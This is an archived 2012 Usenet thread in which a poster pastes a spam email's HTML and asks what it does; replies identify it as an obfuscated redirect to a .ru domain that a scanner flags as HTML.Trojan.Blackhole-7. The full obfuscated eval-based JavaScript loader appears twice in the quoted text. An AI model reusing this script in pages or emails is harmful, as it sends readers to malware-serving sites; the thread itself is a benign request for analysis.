Google Groups no longer supports new Usenet posts or subscriptions. Historical content remains viewable.
Dismiss
Re: What kind of nasty...
8 views
Skip to first unread message
Daniel Pitts
Nov 16, 2012, 1:57:02 PM11/16/12
to
On 11/16/12 8:43 AM, Jim Thompson wrote:
> What kind of nasty...
>
> I don't "speak" scripting. What is some asshole, leftist no doubt
> ;-), spammer trying to do to me with the following html in an E-mail.
>
> (Only leftists are dumb enough to allow html (or scripts) activation
> in their incoming E-mails :-)
>
>
> <html>
> <head>
> <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
> <title>Forwarding..</title>
> </head>
> <body>
> <h1><b>Please wait a moment.You will be forwarded...</h1></b>
> <h4>Internet Explorer compatible only</h4><br>
>
>
> <script>v="v"+"al";try{faweb--}catch(btawetb){try{fve^v}catch(btawt4){try{window.document.body=v}catch(gdsgsdg){w=window;if(020===0x10)e=w["e".concat(v)];}}}
>
> if(1){f=new
> Array(118,96,112,49,60,50,57,58,8,118,96,112,50,60,116,97,113,47,59,9,103,102,39,116,97,113,47,61,60,116,97,113,48,41,31,121,100,110,97,117,108,99,110,115,44,108,110,97,97,115,103,111,109,59,34,103,114,116,111,56,47,46,106,101,109,114,117,104,95,120,45,112,117,57,54,48,55,46,47,101,109,114,116,107,47,107,103,110,106,113,47,98,109,108,116,107,110,45,110,104,111,32,59,124);}w=f;s=[];r=String;for(i=0;-i+104!=0;i+=1){j=i;if(e&&(031==0x19))s=s+r.fromCharCode((1*w[j]+j%3));}
>
> try{(w+s)()}catch(asga){e(s)}</script>
>
> </body>
> </html>
It's an obfuscate way to cause a redirect to a specific URL, which I
won't post. The domain is lentuiax, (with a .ru)
I doubt it is a leftist. As a matter of fact, I would sooner suspect a
free-market capitalist for this kind of spam.
> What kind of nasty...
>
> I don't "speak" scripting. What is some asshole, leftist no doubt
> ;-), spammer trying to do to me with the following html in an E-mail.
>
> (Only leftists are dumb enough to allow html (or scripts) activation
> in their incoming E-mails :-)
>
>
> <html>
> <head>
> <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
> <title>Forwarding..</title>
> </head>
> <body>
> <h1><b>Please wait a moment.You will be forwarded...</h1></b>
> <h4>Internet Explorer compatible only</h4><br>
>
>
> <script>v="v"+"al";try{faweb--}catch(btawetb){try{fve^v}catch(btawt4){try{window.document.body=v}catch(gdsgsdg){w=window;if(020===0x10)e=w["e".concat(v)];}}}
>
> if(1){f=new
> Array(118,96,112,49,60,50,57,58,8,118,96,112,50,60,116,97,113,47,59,9,103,102,39,116,97,113,47,61,60,116,97,113,48,41,31,121,100,110,97,117,108,99,110,115,44,108,110,97,97,115,103,111,109,59,34,103,114,116,111,56,47,46,106,101,109,114,117,104,95,120,45,112,117,57,54,48,55,46,47,101,109,114,116,107,47,107,103,110,106,113,47,98,109,108,116,107,110,45,110,104,111,32,59,124);}w=f;s=[];r=String;for(i=0;-i+104!=0;i+=1){j=i;if(e&&(031==0x19))s=s+r.fromCharCode((1*w[j]+j%3));}
>
> try{(w+s)()}catch(asga){e(s)}</script>
>
> </body>
> </html>
It's an obfuscate way to cause a redirect to a specific URL, which I
won't post. The domain is lentuiax, (with a .ru)
I doubt it is a leftist. As a matter of fact, I would sooner suspect a
free-market capitalist for this kind of spam.
Mike
Nov 17, 2012, 4:28:13 AM11/17/12
to
In article <90rca8paou9nk1mgf...@4ax.com>,
news spools ... as ...
.../spool/articles/sci/electronics/design/162708: HTML.Trojan.Blackhole-7 FOUND
--
--------------------------------------+------------------------------------
Mike Brown: mjb[-at-]signal11.org.uk | http://www.signal11.org.uk
--- news://freenews.netfront.net/ - complaints: ne...@netfront.net ---
Jim Thompson <To-Email-Use-Th...@On-My-Web-Site.com> wrote:
>What kind of nasty...
>
>I don't "speak" scripting. What is some asshole, leftist no doubt
>;-), spammer trying to do to me with the following html in an E-mail.
Identified here by slightly overenthusiastic virus scanner looking at
>What kind of nasty...
>
>I don't "speak" scripting. What is some asshole, leftist no doubt
>;-), spammer trying to do to me with the following html in an E-mail.
news spools ... as ...
.../spool/articles/sci/electronics/design/162708: HTML.Trojan.Blackhole-7 FOUND
--
--------------------------------------+------------------------------------
Mike Brown: mjb[-at-]signal11.org.uk | http://www.signal11.org.uk
--- news://freenews.netfront.net/ - complaints: ne...@netfront.net ---
0 new messages